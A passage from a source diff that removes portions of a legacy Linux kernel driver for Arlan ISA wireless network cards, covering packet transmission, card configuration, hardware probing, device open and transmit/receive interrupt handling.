priv->timer.expires = jiffies + next_tick; - - add_timer(&priv->timer); -} - - -#ifdef ARLAN_DEBUGGING - -static void arlan_print_registers(struct net_device *dev, int line) -{ - volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; - - u_char hostcpuLock, lancpuLock, controlRegister, cntrlRegImage, - txStatus, rxStatus, interruptInProgress, commandByte; - - - ARLAN_DEBUG_ENTRY("arlan_print_registers"); - READSHM(interruptInProgress, arlan->interruptInProgress, u_char); - READSHM(hostcpuLock, arlan->hostcpuLock, u_char); - READSHM(lancpuLock, arlan->lancpuLock, u_char); - READSHM(controlRegister, arlan->controlRegister, u_char); - READSHM(cntrlRegImage, arlan->cntrlRegImage, u_char); - READSHM(txStatus, arlan->txStatus, u_char); - READSHM(rxStatus, arlan->rxStatus, u_char); - READSHM(commandByte, arlan->commandByte, u_char); - - printk(KERN_WARNING "line %04d IP %02x HL %02x LL %02x CB %02x CR %02x CRI %02x TX %02x RX %02x\n", - line, interruptInProgress, hostcpuLock, lancpuLock, commandByte, - controlRegister, cntrlRegImage, txStatus, rxStatus); - - ARLAN_DEBUG_EXIT("arlan_print_registers"); -} -#endif - - -static int arlan_hw_tx(struct net_device *dev, char *buf, int length) -{ - int i; - - struct arlan_private *priv = (struct arlan_private *) dev->priv; - volatile struct arlan_shmem *arlan = priv->card; - struct arlan_conf_stru *conf = priv->Conf; - - int tailStarts = 0x800; - int headEnds = 0x0; - - - ARLAN_DEBUG_ENTRY("arlan_hw_tx"); - if (TXHEAD(dev).offset) - headEnds = (((TXHEAD(dev).offset + TXHEAD(dev).length - (((int) arlan->txBuffer) - ((int) arlan))) / 64) + 1) * 64; - if (TXTAIL(dev).offset) - tailStarts = 0x800 - (((TXTAIL(dev).offset - (((int) arlan->txBuffer) - ((int) arlan))) / 64) + 2) * 64; - - - if (!TXHEAD(dev).offset && length < tailStarts) - { - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) - printk(KERN_ERR "TXHEAD insert, tailStart %d\n", tailStarts); - - TXHEAD(dev).offset = - (((int) arlan->txBuffer) - ((int) arlan)); - TXHEAD(dev).length = length - ARLAN_FAKE_HDR_LEN; - for (i = 0; i < 6; i++) - TXHEAD(dev).dest[i] = buf[i]; - TXHEAD(dev).clear = conf->txClear; - TXHEAD(dev).retries = conf->txRetries; /* 0 is use default */ - TXHEAD(dev).routing = conf->txRouting; - TXHEAD(dev).scrambled = conf->txScrambled; - memcpy_toio(((char *) arlan + TXHEAD(dev).offset), buf + ARLAN_FAKE_HDR_LEN, TXHEAD(dev).length); - } - else if (!TXTAIL(dev).offset && length < (0x800 - headEnds)) - { - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) - printk(KERN_ERR "TXTAIL insert, headEnd %d\n", headEnds); - - TXTAIL(dev).offset = - (((int) arlan->txBuffer) - ((int) arlan)) + 0x800 - (length / 64 + 2) * 64; - TXTAIL(dev).length = length - ARLAN_FAKE_HDR_LEN; - for (i = 0; i < 6; i++) - TXTAIL(dev).dest[i] = buf[i]; - TXTAIL(dev).clear = conf->txClear; - TXTAIL(dev).retries = conf->txRetries; - TXTAIL(dev).routing = conf->txRouting; - TXTAIL(dev).scrambled = conf->txScrambled; - memcpy_toio(((char *) arlan + TXTAIL(dev).offset), buf + ARLAN_FAKE_HDR_LEN, TXTAIL(dev).length); - } - else - { - netif_stop_queue (dev); - return -1; - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) - printk(KERN_ERR "TX TAIL & HEAD full, return, tailStart %d headEnd %d\n", tailStarts, headEnds); - } - priv->out_bytes += length; - priv->out_bytes10 += length; - if (conf->measure_rate < 1) - conf->measure_rate = 1; - if (jiffies - priv->out_time > conf->measure_rate * HZ) - { - conf->out_speed = priv->out_bytes / conf->measure_rate; - priv->out_bytes = 0; - priv->out_time = jiffies; - } - if (jiffies - priv->out_time10 > conf->measure_rate * HZ * 10) - { - conf->out_speed10 = priv->out_bytes10 / (10 * conf->measure_rate); - priv->out_bytes10 = 0; - priv->out_time10 = jiffies; - } - if (TXHEAD(dev).offset && TXTAIL(dev).offset) - { - netif_stop_queue (dev); - return 0; - } - else - netif_start_queue (dev); - - - IFDEBUG(ARLAN_DEBUG_HEADER_DUMP) - printk(KERN_WARNING "%s Transmit t %2x:%2x:%2x:%2x:%2x:%2x f %2x:%2x:%2x:%2x:%2x:%2x \n", dev->name, - (unsigned char) buf[0], (unsigned char) buf[1], (unsigned char) buf[2], (unsigned char) buf[3], - (unsigned char) buf[4], (unsigned char) buf[5], (unsigned char) buf[6], (unsigned char) buf[7], - (unsigned char) buf[8], (unsigned char) buf[9], (unsigned char) buf[10], (unsigned char) buf[11]); - - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk(KERN_ERR "TX command prepare for buffer %d\n", priv->txLast); - - arlan_command(dev, ARLAN_COMMAND_TX); - - priv->last_command_was_rx = 0; - priv->tx_last_sent = jiffies; - priv->nof_tx++; - - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk("%s TX Qued %d bytes \n", dev->name, length); - - ARLAN_DEBUG_EXIT("arlan_hw_tx"); - - return 0; -} - - -static int arlan_hw_config(struct net_device *dev) -{ - volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; - struct arlan_conf_stru *conf = ((struct arlan_private *) dev->priv)->Conf; - struct arlan_private *priv = (struct arlan_private *) dev->priv; - - ARLAN_DEBUG_ENTRY("arlan_hw_config"); - - printk(KERN_NOTICE "%s arlan configure called \n", dev->name); - if (arlan_EEPROM_bad) - printk(KERN_NOTICE "arlan configure with eeprom bad option \n"); - - - WRITESHM(arlan->spreadingCode, conf->spreadingCode, u_char); - WRITESHM(arlan->channelSet, conf->channelSet, u_char); - - if (arlan_EEPROM_bad) - WRITESHM(arlan->defaultChannelSet, conf->channelSet, u_char); - - WRITESHM(arlan->channelNumber, conf->channelNumber, u_char); - - WRITESHM(arlan->scramblingDisable, conf->scramblingDisable, u_char); - WRITESHM(arlan->txAttenuation, conf->txAttenuation, u_char); - - WRITESHM(arlan->systemId, conf->systemId, u_int); - - WRITESHM(arlan->maxRetries, conf->maxRetries, u_char); - WRITESHM(arlan->receiveMode, conf->receiveMode, u_char); - WRITESHM(arlan->priority, conf->priority, u_char); - WRITESHM(arlan->rootOrRepeater, conf->rootOrRepeater, u_char); - WRITESHM(arlan->SID, conf->SID, u_int); - - WRITESHM(arlan->registrationMode, conf->registrationMode, u_char); - - WRITESHM(arlan->registrationFill, conf->registrationFill, u_char); - WRITESHM(arlan->localTalkAddress, conf->localTalkAddress, u_char); - WRITESHM(arlan->codeFormat, conf->codeFormat, u_char); - WRITESHM(arlan->numChannels, conf->numChannels, u_char); - WRITESHM(arlan->channel1, conf->channel1, u_char); - WRITESHM(arlan->channel2, conf->channel2, u_char); - WRITESHM(arlan->channel3, conf->channel3, u_char); - WRITESHM(arlan->channel4, conf->channel4, u_char); - WRITESHM(arlan->radioNodeId, conf->radioNodeId, u_short); - WRITESHM(arlan->SID, conf->SID, u_int); - WRITESHM(arlan->waitTime, conf->waitTime, u_short); - WRITESHM(arlan->lParameter, conf->lParameter, u_short); - memcpy_toio(&(arlan->_15), &(conf->_15), 3); - WRITESHM(arlan->_15, conf->_15, u_short); - WRITESHM(arlan->headerSize, conf->headerSize, u_short); - if (arlan_EEPROM_bad) - WRITESHM(arlan->hardwareType, conf->hardwareType, u_char); - WRITESHM(arlan->radioType, conf->radioType, u_char); - if (arlan_EEPROM_bad) - WRITESHM(arlan->radioModule, conf->radioType, u_char); - - memcpy_toio(arlan->encryptionKey + keyStart, encryptionKey, 8); - memcpy_toio(arlan->name, conf->siteName, 16); - - WRITESHMB(arlan->commandByte, ARLAN_COM_INT | ARLAN_COM_CONF); /* do configure */ - memset_io(arlan->commandParameter, 0, 0xf); /* 0xf */ - memset_io(arlan->commandParameter + 1, 0, 2); - if (conf->writeEEPROM) - { - memset_io(arlan->commandParameter, conf->writeEEPROM, 1); -// conf->writeEEPROM=0; - } - if (conf->registrationMode && conf->registrationInterrupts) - memset_io(arlan->commandParameter + 3, 1, 1); - else - memset_io(arlan->commandParameter + 3, 0, 1); - - priv->irq_test_done = 0; - - if (conf->tx_queue_len) - dev->tx_queue_len = conf->tx_queue_len; - udelay(100); - - ARLAN_DEBUG_EXIT("arlan_hw_config"); - return 0; -} - - -static int arlan_read_card_configuration(struct net_device *dev) -{ - u_char tlx415; - volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; - struct arlan_conf_stru *conf = ((struct arlan_private *) dev->priv)->Conf; - - ARLAN_DEBUG_ENTRY("arlan_read_card_configuration"); - - if (radioNodeId == radioNodeIdUNKNOWN) - { - READSHM(conf->radioNodeId, arlan->radioNodeId, u_short); - } - else - conf->radioNodeId = radioNodeId; - - if (SID == SIDUNKNOWN) - { - READSHM(conf->SID, arlan->SID, u_int); - } - else conf->SID = SID; - - if (spreadingCode == spreadingCodeUNKNOWN) - { - READSHM(conf->spreadingCode, arlan->spreadingCode, u_char); - } - else - conf->spreadingCode = spreadingCode; - - if (channelSet == channelSetUNKNOWN) - { - READSHM(conf->channelSet, arlan->channelSet, u_char); - } - else conf->channelSet = channelSet; - - if (channelNumber == channelNumberUNKNOWN) - { - READSHM(conf->channelNumber, arlan->channelNumber, u_char); - } - else conf->channelNumber = channelNumber; - - READSHM(conf->scramblingDisable, arlan->scramblingDisable, u_char); - READSHM(conf->txAttenuation, arlan->txAttenuation, u_char); - - if (systemId == systemIdUNKNOWN) - { - READSHM(conf->systemId, arlan->systemId, u_int); - } - else conf->systemId = systemId; - - READSHM(conf->maxDatagramSize, arlan->maxDatagramSize, u_short); - READSHM(conf->maxFrameSize, arlan->maxFrameSize, u_short); - READSHM(conf->maxRetries, arlan->maxRetries, u_char); - READSHM(conf->receiveMode, arlan->receiveMode, u_char); - READSHM(conf->priority, arlan->priority, u_char); - READSHM(conf->rootOrRepeater, arlan->rootOrRepeater, u_char); - - if (SID == SIDUNKNOWN) - { - READSHM(conf->SID, arlan->SID, u_int); - } - else conf->SID = SID; - - if (registrationMode == registrationModeUNKNOWN) - { - READSHM(conf->registrationMode, arlan->registrationMode, u_char); - } - else conf->registrationMode = registrationMode; - - READSHM(conf->registrationFill, arlan->registrationFill, u_char); - READSHM(conf->localTalkAddress, arlan->localTalkAddress, u_char); - READSHM(conf->codeFormat, arlan->codeFormat, u_char); - READSHM(conf->numChannels, arlan->numChannels, u_char); - READSHM(conf->channel1, arlan->channel1, u_char); - READSHM(conf->channel2, arlan->channel2, u_char); - READSHM(conf->channel3, arlan->channel3, u_char); - READSHM(conf->channel4, arlan->channel4, u_char); - READSHM(conf->waitTime, arlan->waitTime, u_short); - READSHM(conf->lParameter, arlan->lParameter, u_short); - READSHM(conf->_15, arlan->_15, u_short); - READSHM(conf->headerSize, arlan->headerSize, u_short); - READSHM(conf->hardwareType, arlan->hardwareType, u_char); - READSHM(conf->radioType, arlan->radioModule, u_char); - - if (conf->radioType == 0) - conf->radioType = 0xc; - - WRITESHM(arlan->configStatus, 0xA5, u_char); - READSHM(tlx415, arlan->configStatus, u_char); - - if (tlx415 != 0xA5) - printk(KERN_INFO "%s tlx415 chip \n", dev->name); - - conf->txClear = 0; - conf->txRetries = 1; - conf->txRouting = 1; - conf->txScrambled = 0; - conf->rxParameter = 1; - conf->txTimeoutMs = 4000; - conf->waitCardTimeout = 100000; - conf->receiveMode = ARLAN_RCV_CLEAN; - memcpy_fromio(conf->siteName, arlan->name, 16); - conf->siteName[16] = '\0'; - conf->retries = retries; - conf->tx_delay_ms = tx_delay_ms; - conf->async = async; - conf->ReTransmitPacketMaxSize = 200; - conf->waitReTransmitPacketMaxSize = 200; - conf->txAckTimeoutMs = 900; - conf->fastReTransCount = 3; - - ARLAN_DEBUG_EXIT("arlan_read_card_configuration"); - - return 0; -} - - -static int lastFoundAt = 0xbe000; - - -/* - * This is the real probe routine. Linux has a history of friendly device - * probes on the ISA bus. A good device probes avoids doing writes, and - * verifies that the correct device exists and functions. - */ - -static int __init arlan_check_fingerprint(int memaddr) -{ - static char probeText[] = "TELESYSTEM SLW INC. ARLAN \0"; - char tempBuf[49]; - volatile struct arlan_shmem *arlan = (struct arlan_shmem *) memaddr; - - ARLAN_DEBUG_ENTRY("arlan_check_fingerprint"); - if (check_mem_region(virt_to_phys((void *)memaddr),0x2000 )){ - // printk(KERN_WARNING "arlan: memory region %lx excluded from probing \n",virt_to_phys((void*)memaddr)); - return -ENODEV; - }; - memcpy_fromio(tempBuf, arlan->textRegion, 29); - tempBuf[30] = 0; - - /* check for card at this address */ - if (0 != strncmp(tempBuf, probeText, 29)){ -// not release_mem_region(virt_to_phys((void*)memaddr),0x2000); - return -ENODEV; - } - -// printk(KERN_INFO "arlan found at 0x%x \n",memaddr); - ARLAN_DEBUG_EXIT("arlan_check_fingerprint"); - - return 0; - - -} - -static int __init arlan_probe_everywhere(struct net_device *dev) -{ - int m; - int probed = 0; - int found = 0; - - SET_MODULE_OWNER(dev); - - ARLAN_DEBUG_ENTRY("arlan_probe_everywhere"); - if (mem != 0 && numDevices == 1) /* Check a single specified location. */ - { - if (arlan_probe_here(dev, (int) phys_to_virt( mem) ) == 0) - return 0; - else - return -ENODEV; - } - for (m = (int)phys_to_virt(lastFoundAt) + 0x2000; m <= (int)phys_to_virt(0xDE000); m += 0x2000) - { - if (arlan_probe_here(dev, m) == 0) - { - found++; - lastFoundAt = (int)virt_to_phys((void*)m); - break; - } - probed++; - } - if (found == 0 && probed != 0) - { - if (lastFoundAt == 0xbe000) - printk(KERN_ERR "arlan: No Arlan devices found \n"); - return -ENODEV; - } - else - return 0; - - ARLAN_DEBUG_EXIT("arlan_probe_everywhere"); - - return -ENODEV; -} - - -static int arlan_change_mtu(struct net_device *dev, int new_mtu) -{ - struct arlan_conf_stru *conf = ((struct arlan_private *) dev->priv)->Conf; - - ARLAN_DEBUG_ENTRY("arlan_change_mtu"); - if (new_mtu > 2032) - return -EINVAL; - dev->mtu = new_mtu; - if (new_mtu < 256) - new_mtu = 256; /* cards book suggests 1600 */ - conf->maxDatagramSize = new_mtu; - conf->maxFrameSize = new_mtu + 48; - - arlan_command(dev, ARLAN_COMMAND_CLEAN_AND_CONF); - printk(KERN_NOTICE "%s mtu changed to %d \n", dev->name, new_mtu); - - ARLAN_DEBUG_EXIT("arlan_change_mtu"); - - return 0; -} - -static int arlan_mac_addr(struct net_device *dev, void *p) -{ - struct sockaddr *addr = p; - - - ARLAN_DEBUG_ENTRY("arlan_mac_addr"); - return -EINVAL; - - if (!netif_running(dev)) - return -EBUSY; - memcpy(dev->dev_addr, addr->sa_data, dev->addr_len); - - ARLAN_DEBUG_EXIT("arlan_mac_addr"); - return 0; -} - - - - -static int __init - arlan_allocate_device(int num, struct net_device *devs) -{ - - struct net_device *dev; - struct arlan_private *ap; - - ARLAN_DEBUG_ENTRY("arlan_allocate_device"); - - if (!devs) { - dev = init_etherdev(0, sizeof(struct arlan_private) + sizeof(struct arlan_shmem)); - if (!dev) { - printk(KERN_ERR "ARLAN: init_etherdev failed\n"); - return 0; - } - ap = dev->priv; - ap->conf = dev->priv + sizeof(struct arlan_private); - ap->init_etherdev_alloc = 1; - } else { - dev = devs; - dev->priv = kmalloc(sizeof(struct arlan_private) + sizeof(struct arlan_shmem), GFP_KERNEL); - if (!dev->priv) { - printk(KERN_ERR "ARLAN: kmalloc of dev->priv failed\n"); - return 0; - } - ap = dev->priv; - ap->conf = dev->priv + sizeof(struct arlan_private); - memset(ap, 0, sizeof(*ap)); - } - - /* Fill in the 'dev' fields. */ - dev->base_addr = 0; - dev->mem_start = 0; - dev->mem_end = 0; - dev->mtu = 1500; - dev->flags = 0; /* IFF_BROADCAST & IFF_MULTICAST & IFF_PROMISC; */ - dev->irq = 0; - dev->dma = 0; - dev->tx_queue_len = tx_queue_len; - ether_setup(dev); - dev->tx_queue_len = tx_queue_len; - dev->open = arlan_open; - dev->stop = arlan_close; - dev->hard_start_xmit = arlan_tx; - dev->get_stats = arlan_statistics; - dev->set_multicast_list = arlan_set_multicast; - dev->change_mtu = arlan_change_mtu; - dev->set_mac_address = arlan_mac_addr; - dev->tx_timeout = arlan_tx_timeout; - dev->watchdog_timeo = 3*HZ; - - ((struct arlan_private *) dev->priv)->irq_test_done = 0; - arlan_device[num] = dev; - ((struct arlan_private *) arlan_device[num]->priv)->Conf = &(arlan_conf[num]); - - ((struct arlan_private *) dev->priv)->Conf->pre_Command_Wait = 40; - ((struct arlan_private *) dev->priv)->Conf->rx_tweak1 = 30; - ((struct arlan_private *) dev->priv)->Conf->rx_tweak2 = 0; - - ARLAN_DEBUG_EXIT("arlan_allocate_device"); - return (int) dev; -} - - -static int __init arlan_probe_here(struct net_device *dev, int memaddr) -{ - volatile struct arlan_shmem *arlan; - - ARLAN_DEBUG_ENTRY("arlan_probe_here"); - - if (arlan_check_fingerprint(memaddr)) - return -ENODEV; - - printk(KERN_NOTICE "%s: Arlan found at %x, \n ", dev->name, (int) virt_to_phys((void*)memaddr)); - - if (!arlan_allocate_device(arlans_found, dev)) - return -1; - - ((struct arlan_private *) dev->priv)->card = (struct arlan_shmem *) memaddr; - arlan = (void *) memaddr; - - dev->mem_start = memaddr; - dev->mem_end = memaddr + 0x1FFF; - - if (dev->irq < 2) - { - READSHM(dev->irq, arlan->irqLevel, u_char); - } else if (dev->irq == 2) - dev->irq = 9; - - arlan_read_card_configuration(dev); - - ARLAN_DEBUG_EXIT("arlan_probe_here"); - return 0; -} - - - - -static int arlan_open(struct net_device *dev) -{ - struct arlan_private *priv = (struct arlan_private *) dev->priv; - volatile struct arlan_shmem *arlan = priv->card; - int ret = 0; - - ARLAN_DEBUG_ENTRY("arlan_open"); - - if (dev->mem_start == 0) - ret = arlan_probe_everywhere(dev); - if (ret != 0) - return ret; - - arlan = ((struct arlan_private *) dev->priv)->card; - ret = request_irq(dev->irq, &arlan_interrupt, 0, dev->name, dev); - if (ret) - { - printk(KERN_ERR "%s: unable to get IRQ %d .\n", - dev->name, dev->irq); - return ret; - } - - - priv->bad = 0; - priv->lastReset = 0; - priv->reset = 0; - priv->open_time = jiffies; - memcpy_fromio(dev->dev_addr, arlan->lanCardNodeId, 6); - memset(dev->broadcast, 0xff, 6); - priv->txOffset = 0; - dev->tx_queue_len = tx_queue_len; - priv->interrupt_processing_active = 0; - priv->command_lock = 0; - - netif_start_queue (dev); - - init_MUTEX(&priv->card_lock); - myATOMIC_INIT(priv->card_users, 1); /* damn 2.0.33 */ - priv->registrationLostCount = 0; - priv->registrationLastSeen = jiffies; - priv->txLast = 0; - priv->tx_command_given = 0; - priv->rx_command_given = 0; - - priv->reRegisterExp = 1; - priv->nof_tx = 0; - priv->nof_tx_ack = 0; - priv->last_command_was_rx = 0; - priv->tx_last_sent = jiffies - 1; - priv->tx_last_cleared = jiffies; - priv->Conf->writeEEPROM = 0; - priv->Conf->registrationInterrupts = 1; - - init_timer(&priv->timer); - priv->timer.expires = jiffies + HZ / 10; - priv->timer.data = (unsigned long) dev; - priv->timer.function = &arlan_registration_timer; /* timer handler */ - - arlan_command(dev, ARLAN_COMMAND_POWERUP | ARLAN_COMMAND_LONG_WAIT_NOW); - mdelay(200); - add_timer(&priv->timer); - -#ifdef CONFIG_PROC_FS -#ifndef MODULE - if (arlan_device[0]) - init_arlan_proc(); -#endif -#endif - ARLAN_DEBUG_EXIT("arlan_open"); - return 0; -} - - -static void arlan_tx_timeout (struct net_device *dev) -{ - printk(KERN_ERR "%s: arlan transmit timed out, kernel decided\n", dev->name); - /* Try to restart the adaptor. */ - arlan_command(dev, ARLAN_COMMAND_CLEAN_AND_RESET); - // dev->trans_start = jiffies; - // netif_start_queue (dev); -} - - -static int arlan_tx(struct sk_buff *skb, struct net_device *dev) -{ - struct arlan_private *priv = ((struct arlan_private *) dev->priv); - short length; - unsigned char *buf; - - ARLAN_DEBUG_ENTRY("arlan_tx"); - - length = ETH_ZLEN < skb->len ? skb->len : ETH_ZLEN; - buf = skb->data; - - if (priv->txOffset + length + 0x12 > 0x800) { - printk(KERN_ERR "TX RING overflow \n"); - netif_stop_queue (dev); - } - - if (arlan_hw_tx(dev, buf, length) == -1) - goto bad_end; - - dev->trans_start = jiffies; - - dev_kfree_skb(skb); - - arlan_process_interrupt(dev); - priv->tx_chain_active = 0; - ARLAN_DEBUG_EXIT("arlan_tx"); - return 0; - -bad_end: - arlan_process_interrupt(dev); - priv->tx_chain_active = 0; - netif_stop_queue (dev); - ARLAN_DEBUG_EXIT("arlan_tx"); - return 1; -} - - -static inline int DoNotReTransmitCrap(struct net_device *dev) -{ - struct arlan_private *priv = ((struct arlan_private *) dev->priv); - - if (TXLAST(dev).length < priv->Conf->ReTransmitPacketMaxSize) - return 1; - return 0; - -} - -static inline int DoNotWaitReTransmitCrap(struct net_device *dev) -{ - struct arlan_private *priv = ((struct arlan_private *) dev->priv); - - if (TXLAST(dev).length < priv->Conf->waitReTransmitPacketMaxSize) - return 1; - return 0; -} - -static inline void arlan_queue_retransmit(struct net_device *dev) -{ - struct arlan_private *priv = ((struct arlan_private *) dev->priv); - - ARLAN_DEBUG_ENTRY("arlan_queue_retransmit"); - - if (DoNotWaitReTransmitCrap(dev)) - { - arlan_drop_tx(dev); - } else - priv->ReTransmitRequested++; - - ARLAN_DEBUG_EXIT("arlan_queue_retransmit"); -}; - -static inline void RetryOrFail(struct net_device *dev) -{ - struct arlan_private *priv = ((struct arlan_private *) dev->priv); - - ARLAN_DEBUG_ENTRY("RetryOrFail"); - - if (priv->retransmissions > priv->Conf->retries || - DoNotReTransmitCrap(dev)) - { - arlan_drop_tx(dev); - } - else if (priv->bad <= priv->Conf->fastReTransCount) - { - arlan_retransmit_now(dev); - } - else arlan_queue_retransmit(dev); - - ARLAN_DEBUG_EXIT("RetryOrFail"); -} - - -static void arlan_tx_done_interrupt(struct net_device *dev, int status) -{ - struct arlan_private *priv = ((struct arlan_private *) dev->priv); - - ARLAN_DEBUG_ENTRY("arlan_tx_done_interrupt"); - - priv->tx_last_cleared = jiffies; - priv->tx_command_given = 0; - priv->nof_tx_ack++; - switch (status) - { - case 1: - { - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) - printk("arlan intr: transmit OK\n"); - priv->stats.tx_packets++; - priv->bad = 0; - priv->reset = 0; - priv->retransmissions = 0; - if (priv->Conf->tx_delay_ms) - { - priv->tx_done_delayed = jiffies + (priv->Conf->tx_delay_ms * HZ) / 1000 + 1;; - } - else - { - TXLAST(dev).offset = 0; - if (priv->txLast) - priv->txLast = 0; - else if (TXTAIL(dev).offset) - priv->txLast = 1; - if (TXLAST(dev).offset) - { - arlan_retransmit_now(dev); - dev->trans_start = jiffies; - } - if (!TXHEAD(dev).offset || !TXTAIL(dev).offset) - { - priv->txOffset = 0; - netif_wake_queue (dev); - } - } - } - break; - - case 2: - { - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) - printk("arlan intr: transmit timed out\n"); - priv->bad += 1; - //arlan_queue_retransmit(dev); - RetryOrFail(dev); - } - break; - - case 3: - { - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) - printk("arlan intr: transmit max retries\n"); - priv->bad += 1; - priv->reset = 0; - //arlan_queue_retransmit(dev); - RetryOrFail(dev); - } - break; - - case 4: - { - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) - printk("arlan intr: transmit aborted\n"); - priv->bad += 1; - arlan_queue_retransmit(dev); - //RetryOrFail(dev); - } - break; - - case 5: - { - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) - printk("arlan intr: transmit not registered\n"); - priv->bad += 1; - //debug=101; - arlan_queue_retransmit(dev); - } - break; - - case 6: - { - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) - printk("arlan intr: transmit destination full\n"); - priv->bad += 1; - priv->reset = 0; - //arlan_drop_tx(dev); - arlan_queue_retransmit(dev); - } - break; - - case 7: - { - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) - printk("arlan intr: transmit unknown ack\n"); - priv->bad += 1; - priv->reset = 0; - arlan_queue_retransmit(dev); - } - break; - - case 8: - { - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) - printk("arlan intr: transmit dest mail box full\n"); - priv->bad += 1; - priv->reset = 0; - //arlan_drop_tx(dev); - arlan_queue_retransmit(dev); - } - break; - - case 9: - { - IFDEBUG(ARLAN_DEBUG_TX_CHAIN) - printk("arlan intr: transmit root dest not reg.\n"); - priv->bad += 1; - priv->reset = 1; - //arlan_drop_tx(dev); - arlan_queue_retransmit(dev); - } - break; - - default: - { - printk(KERN_ERR "arlan intr: transmit status unknown\n"); - priv->bad += 1; - priv->reset = 1; - arlan_drop_tx(dev); - } - } - - ARLAN_DEBUG_EXIT("arlan_tx_done_interrupt"); -} - - -static void arlan_rx_interrupt(struct net_device *dev, u_char rxStatus, u_short rxOffset, u_short pkt_len) -{ - char *skbtmp; - int i = 0; - - struct arlan_private *priv = (struct arlan_private *) dev->priv; - volatile struct arlan_shmem *arlan = priv->card; - struct arlan_conf_stru *conf = priv->Conf; - - - ARLAN_DEBUG_ENTRY("arlan_rx_interrupt"); - // by spec, not WRITESHMB(arlan->rxStatus,0x00); - // prohibited here arlan_command(dev, ARLAN_COMMAND_RX); - - if (pkt_len < 10 || pkt_len > 2048) - { - printk(KERN_WARNING "%s: got too short or long packet, len %d \n", dev->name, pkt_len); - return; - } - if (rxOffset + pkt_len > 0x2000) - { - printk("%s: got too long packet, len %d offset %x\n", dev->name, pkt_len, rxOffset); - return; - } - priv->in_bytes += pkt_len; - priv->in_bytes10 += pkt_len; - if (conf->measure_rate < 1) - conf->measure_rate = 1; - if (jiffies - priv->in_time > conf->measure_rate * HZ) - { - conf->in_speed = priv->in_bytes / conf->measure_rate; - priv->in_bytes = 0; - priv->in_time = jiffies; - } - if (jiffies - priv->in_time10 > conf->measure_rate * HZ * 10) - { - conf->in_speed10 = priv->in_bytes10 / (10 * conf->measure_rate); - priv->in_bytes10 = 0; - priv->in_time10 = jiffies; - } - DEBUGSHM(1, "arlan rcv pkt rxStatus= %d ", arlan->rxStatus, u_char); - switch (rxStatus) - { - case 1: - case 2: - case 3: - { - /* Malloc up new buffer. */ - struct sk_buff *skb; - - DEBUGSHM(50, "arlan recv pkt offs=%d\n", arlan->rxOffset, u_short); - DEBUGSHM(1, "arlan rxFrmType = %d \n", arlan->rxFrmType, u_char); - DEBUGSHM(1, KERN_INFO "arlan rx scrambled = %d \n", arlan->scrambled, u_char); - - /* here we do multicast filtering to avoid slow 8-bit memcopy */ -#ifdef ARLAN_MULTICAST - if (!(dev->flags & IFF_ALLMULTI) && - !(dev->flags & IFF_PROMISC) && - dev->mc_list) - { - char hw_dst_addr[6]; - struct dev_mc_list *dmi = dev->mc_list; - int i; - - memcpy_fromio(hw_dst_addr, arlan->ultimateDestAddress, 6); - if (hw_dst_addr[0] == 0x01) - { - if (mdebug) - if (hw_dst_addr[1] == 0x00) - printk(KERN_ERR "%s mcast 0x0100 \n", dev->name); - else if (hw_dst_addr[1] == 0x40) - printk(KERN_ERR "%s m/bcast 0x0140 \n", dev->name); - while (dmi) - { if (dmi->dmi_addrlen == 6) - { - if (arlan_debug & ARLAN_DEBUG_HEADER_DUMP) - printk(KERN_ERR "%s mcl %2x:%2x:%2x:%2x:%2x:%2x \n", dev->name, - dmi->dmi_addr[0], dmi->dmi_addr[1], dmi->dmi_addr[2], - dmi->dmi_addr[3], dmi->dmi_addr[4], dmi->dmi_addr[5]); - for (i = 0; i < 6; i++) - if (dmi->dmi_addr[i] != hw_dst_addr[i]) - break; - if (i == 6) - break; - } - else - printk(KERN_ERR "%s: invalid multicast address length given.\n", dev->name); - dmi = dmi->next; - } - /* we reach here if multicast filtering is on and packet - * is multicast and not for receive */ - goto end_of_interrupt; - } - } -#endif // ARLAN_MULTICAST - /* multicast filtering ends here */ - pkt_len += ARLAN_FAKE_HDR_LEN; - - skb = dev_alloc_skb(pkt_len + 4); - if (skb == NULL) - { - printk(KERN_ERR "%s: Memory squeeze, dropping packet.\n", dev->name); - priv->stats.rx_dropped++; - break; - } - skb_reserve(skb, 2); - skb->dev = dev; - skbtmp = skb_put(skb, pkt_len); - - memcpy_fromio(skbtmp + ARLAN_FAKE_HDR_LEN, ((char *) arlan) + rxOffset, pkt_len - ARLAN_FAKE_HDR_LEN); - memcpy_fromio(skbtmp, arlan->ultimateDestAddress, 6); - memcpy_fromio(skbtmp + 6, arlan->rxSrc, 6); - WRITESHMB(arlan->rxStatus, 0x00); - arlan_command(dev, ARLAN_COMMAND_RX); - - IFDEBUG(ARLAN_DEBUG_HEADER_DUMP) - { - char immedDestAddress[6]; - char immedSrcAddress[6]; - memcpy_fromio(immedDestAddress, arlan->immedDestAddress, 6); - memcpy_fromio(immedSrcAddress, arlan->immedSrcAddress, 6); - - printk(KERN_WARNING "%s t %2x:%2x:%2x:%2x:%2x:%2x f %2x:%2x:%2x:%2x:%2x:%2x imd %2x:%2x:%2x:%2x:%2x:%2x ims %2x:%2x:%2x:%2x:%2x:%2x\n", dev->name, - (unsigned char) skbtmp[0], (unsigned char) skbtmp[1], (unsigned char) skbtmp[2], (unsigned char) skbtmp[3], - (unsigned char) skbtmp[4], (unsigned char) skbtmp[5], (unsigned char) skbtmp[6], (unsigned char) skbtmp[7], - (unsigned char) skbtmp[8], (unsigned char) skbtmp[9], (unsigned char) skbtmp[10], (unsigned char) skbtmp[11], - immedDestAddress[0], immedDestAddress[1], immedDestAddress[2], - immedDestAddress[3], immedDestAddress[4], immedDestAddress[5], - immedSrcAddress[0], immedSrcAddress[1], immedSrcAddress[2], - immedSrcAddress[3], immedSrcAddress[4], immedSrcAddress[5]); - } - skb->protocol = 